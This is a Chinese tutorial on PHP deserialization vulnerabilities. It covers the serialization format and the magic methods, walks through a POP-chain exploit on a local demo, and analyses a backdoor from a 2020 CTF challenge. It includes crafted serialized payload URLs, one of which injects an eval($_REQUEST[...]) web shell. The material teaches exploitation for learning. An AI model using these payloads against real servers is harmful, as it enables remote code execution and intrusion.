序列化与反序列化
序列化就是将对象的状态信息转换为可存储或传输的形式的过程;反序列化将可存储或传输的形式的过程恢复为对象的过程。面向对象的语言都存在序列化和反序列化操作,如C#、python、java、php、JavaScript等。
为什么需要反序列化呢?一是方便传输,服务端把数据序列化,发送到客户端,客户端把接收到的数据反序列化后对数据进行操作,完成后再序列化发送到服务端,服务端再反序列化数据后对数据进行操作;二是方便存储,将内存中的对象状态保存至文件或数据库中,供之后使用。
序列化与反序列化机制本身并无问题,但应用程序对于用户输入数据(不 可信数据)进行了反序列化处理,使反序列化生成了非预期的对象,在对象的产生过程中可能产生攻击行为。
PHP序列化
PHP序列化后得到的字符串存储的信息仅包含对象的属性,并不包含类中的函数(方法)。
<?php
kali@kali:/tmp$ php student.php
从执行结果可以看出O:7:"Student"中O代表object,7是对象名称长度,"Student"是O对应的值。php序列化后的格式为”类型:长度:值“,后面再将O:7:"Student"看作一个整体作为Student类的对象类型,后面的3为长度,最后的花括号中存在3对属性。
由于PHP序列化后得到的字符串存储的信息仅包含对象的属性,所以可以去除函数进行序列化。特定环境下去除函数后才能得到你想要的。
<?php
kali@kali:/tmp$ php student_nofunc.php
可见,只要class名称、属性及属性值相同,序列化结果相同,与成员函数无任何关系。
PHP反序列化
PHP反序列化是序列化的逆过程,将序列化后的字符串还原成PHP对象。
<?php
kali@kali:/tmp$ php student_sleep.php
可见代码中$stu对象由反序列化得到,反序列化的本质就是为对象属性赋值。
PHP反序列化漏洞
反序列化时,我们只能控制对象的的属性值,不能直接控制其执行某个特定的函数或语句,无法直接造成危害。PHP存在一些魔术函数,特定条件下被动触发执行。我们可以构造属性值为特定对象,创造环境使其触发执行一些包含危险操作的魔术函数执行。魔术函数以双下划线开头。
PHP中常见的魔术函数和触发条件如下:
魔术函数
触发条件
__construct()
使用new关键字创建对象时
__destruct()
对象被销毁时包括但不限于程序正常结束
__call()
调用对象的一个不可访问方法时
__callStatic()
使用类名调用一个不可访问的静态方法时
__get()
读取不可访问属性的值时
__set()
给不可访问属性赋值时
__isset()
当对不可访问属性调用 isset() 或 empty() 时
__unset()
当对不可访问属性调用 unset() 时
__sleep()
要序列化还未序列化时
__wakeup()
反序列化完成后自动调用
__serialize()
要序列化还未序列化时调用,与__sleep()同时存在时__sleep()会被忽略不调用
__unserialize()
反序列化完成后自动调用,与__wakeup()同时存在时__wakeup()会被忽略不调用
__toString()
对象被当作字符串时,如字符串拼接、被echo等
__invoke()
对象被当作函数调用时
<?php
kali@kali:/tmp$ php magic.php
__get函数在尝试访问$stu->sex触发执行。看如下示例,进行简单的反序列化利用。
<?php
由于unserialize函数从请求中获取un参数,用户可控制用于反序列化的字符串。重心放在寻找可利用的魔术函数上。我们很容易注意到类中的__toString函数执行了危险操作,需要使其触发,就必须要有地方将该对象当作字符串使用。反序列化后只调用了hello(),hello中将自身的name属性进行字符串拼接,如果该name属性的值是Student对象,那将触发该对象的___toString函数执行。所以我们创建一个Student对象$stu1,使其属性$command为我们想执行的命令,$stu1对象被当作字符串使用时将执行$command。然后创建一个Student对象$stu2,使其name属性为$stu1,在执行$stu2的hello函数时就会将$stu1当作字符串进行拼接触发$stu1的__toString函数。exp代码如下:
<?php
kali@kali:/tmp$ php unser_exp.php
构造url:
http://127.0.0.1/unser_vul.php?un=O:7:"Student":3:{s:4:"name";O:7:"Student":4:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;s:7:"command";s:8:"ifconfig";}s:5:"stuid";i:2;s:3:"age";N;}
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
实例
该题为2020年云南省网络安全大赛中一个web环境,里面存在多个漏洞。该反序列化后门仅为其中之一。本文仅对该后门进行分析。
后门地址:/content/backup/nbc.php
<?php
$d->test()
说明$d可能是Demo1的实例,执行Demo1中的test()时echo自己的$a的值,若$a不为字符串,将触发调用$a->__toString()
,若$a
为Demo2的实例,$a->__toString()
调用$a->a(),执行eval($a->cmd);
。
构造对象使得$s为Demo1的实例,$s的a属性为Demo2的实例 $t,并使$t的属性cmd为自定义的php代码,如一句话木马eval($_REQUEST[inbug]);
。
由于Demo1的a属性和Demo2的cmd属性均为私有(private)属性,生成payload时添加函数来给私有属性赋值。此处添加构造函数(__construct),也可定义其他函数或者在class中赋值。
注:私有属性序列化后会产生空字节(%00),所以根据需要选择不同编码方式,不编码会导致空字节丢失,进制利用失败。
<?php
root@kali# php exp.php
链接:/content/backup/nbc.php?s=O%3A5%3A%22Demo1%22%3A1%3A%7Bs%3A8%3A%22%00Demo1%00a%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A10%3A%22%00Demo2%00cmd%22%3Bs%3A23%3A%22eval%28%24_REQUEST%5Binbug%5D%29%3B%22%3B%7D%7D
总结
PHP反序列化利用需要两个条件,一是用于反序列化的字符串用户可控,二是服务端环境中有可利用的class和魔术函数。